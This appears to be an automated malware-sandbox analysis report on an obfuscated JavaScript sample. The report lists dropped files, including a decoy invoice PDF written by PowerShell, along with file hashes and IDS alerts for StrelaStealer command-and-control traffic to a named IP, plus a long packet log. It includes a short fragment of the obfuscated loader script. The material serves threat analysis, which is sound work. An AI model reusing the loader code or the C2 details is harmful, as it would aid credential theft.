SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRn:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRN
MD5:	E4692423DB95A503BAE71283E37284B1
SHA1:	B5053BC0AE5EE4B257D786B28F5CF3DA905A6AA1
SHA-256:	7FE9B4E9001A490AD65892EFF67D387CBD372EAFF6427253B28303167CD02E88
SHA-512:	71D64AE004CB47FE0B303B0CD750EC707A33A58E110858F5955933A72CB91F47A90ACFE84B3FCEA6AD6D108A558E50B0141001FDA2C9B51275D728DF2620CC55
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1dc92a79-6ed1-4011-9646-9d2a3f597e67.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\42dbc51d-9964-438a-800d-9f7f8c2f3e94.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/r5eYIGNPpOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:T5eZGOWLxBGZN3mlind9i4ufFXpAXkru
MD5:	4CBEAB1994786A0B8AE7BAF48FAD3A6A
SHA1:	2F22D79E3DF7B249DA18F028F5A14EB65BB9C139
SHA-256:	7E6BD13795A55EFAED961CFF688D9D59401599963C4AF42FD6ABAD434E7D6088
SHA-512:	DF0BFE07CDAFBD1DE973E9C16F854AFEEA391733E87B00A358EA53FC812746E077E74B04B144DAED0B4795ECE1638D43CDE7A283024212B548AE96ED3F1BA542
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7fe1d075-28ae-4cec-9391-d3918b6159ab.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\f86d7a7a-bf31-4382-8e8a-9cb575256355.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/VRbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZnYIGNPJF:tRb3mlind9i4ufFXpAXkrfUs0qWLxXGY
MD5:	9543A6C1DE815E938F6AA0F90F2EF0C6
SHA1:	62B527E0463D71548862DE000950E638F3721582
SHA-256:	8A4B4F588D79D2AF9E617936932D8264DF9017D80A68F8D39E5EA36B14D76F1D
SHA-512:	50A26B895BA1F40B2ADE59996A1A89EBAFE67CB9F7B4F3A029382B6966E75F8BAD3551D25F29391C58A7EDC206F7DAF1D07F68F5E458E3A5D02556EACA377B0D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15676), with CRLF line terminators
Entropy (8bit):	4.921044657649595
TrID:
File name:	709291801716322197.js
File size:	19'085 bytes
MD5:	b4e91a87f38812e83ddaeaa4bd31ec3e
SHA1:	36e8705aef6134f6de84269be4e3936ebffd19c4
SHA256:	6d3e146a9a9f88fa6e2e279f1f162cff00cebc929de62dfbb4430c8ff39660aa
SHA512:	deb2b333ad6c26759b9b5a453723cfe8ecceb731d81c2523b08bc51e57f79cc8e4578316195f280122d91e2e0d5e33cb9713103d331e4d9398e91cb878f1fd06
SSDEEP:	384:rc1YJQcH/AQvqgb66HfLTs2L3Fylcjc8zccn8ujprqujH4+4U+1R/TcQ5ZmAeZpr:rzo0DT3kTcQ5ZmAeZpfMT/Ok9J4aSgM9
TLSH:	CC8255C4704AE84359FC42D8EAC264F403945BCCBA561DA078B3E2973B9AE7584F527F
File Content Preview:	function mfnvpcqz(){nsnmrnh=[1031,3079,5127,4103,2055,3072];var uhdneg=this[admai+jmdpfjyjr+gepmcf+dbwdjz+bptqxvs+yjtncumhh+ixodtoxy+hlpkh](this[ticounda+dnpkh+qaiysgd+gepmcf+kvvyxpyit+admai+hlpkh][pfubkndd+gepmcf+bptqxvs+jmdpfjyjr+hlpkh+bptqxvs+eczytpfyx

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:39:20.279263+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T06:39:20.279263+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T06:39:24.013107+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49701	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:39:19.463152885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:19.468031883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:19.468139887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:19.471632957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:19.476504087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.279048920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.279159069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.279181957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.279200077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.279263020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.279309988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.279361010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.279382944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.279382944 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.279398918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.279419899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.279431105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.279441118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.279469013 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.279493093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.284802914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.284852028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.284996986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.332839966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.332855940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.332866907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.332932949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.403758049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.403784037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.403803110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.403852940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.403923988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.403942108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.403958082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.404011965 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.404036045 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.404402018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.404429913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.404447079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.404462099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.404476881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.404491901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.404531956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.405106068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.405134916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.405152082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.405167103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.405184031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.405200005 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.405226946 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.405256033 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.406035900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.406055927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.406073093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.406090021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.406111956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.406132936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.421191931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.421214104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.421272039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.457926989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.457967997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.457984924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.457999945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.458034992 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.458115101 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.496249914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.496268988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.496651888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.528872013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.528909922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.528939962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.528955936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.528976917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.528994083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.529007912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.529145956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.529146910 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.529257059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.529282093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.529314995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.529330969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.529346943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.529386044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.529385090 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.529405117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.529422045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.529473066 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.529473066 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.530185938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.530200958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.530216932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.530231953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.530246973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.530261993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.530273914 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.530284882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.530297041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.530317068 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.530977964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.530994892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.531038046 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.531053066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.531069040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.531085014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.531099081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.531105042 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.531116009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.531126022 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.531166077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.531949043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.531965017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.531980038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.531994104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.532010078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.532016039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.532025099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.532037973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.532043934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.532079935 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.532685995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.532735109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.532751083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.532792091 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.532816887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.546500921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.546540022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.546850920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.583178043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.583209991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.583256006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.583283901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.583343983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.583373070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.583417892 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.583419085 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.583462954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.583492994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.583502054 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.585108042 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.617388010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.617449045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.617466927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.617572069 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.653999090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.654015064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.654026031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.654037952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.654052019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.654110909 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.654138088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.654146910 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.654153109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.654164076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.654197931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:20.654337883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.654357910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.654369116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:20.654406071 CET	49699	80	192.168.2.7	193.143.1.205
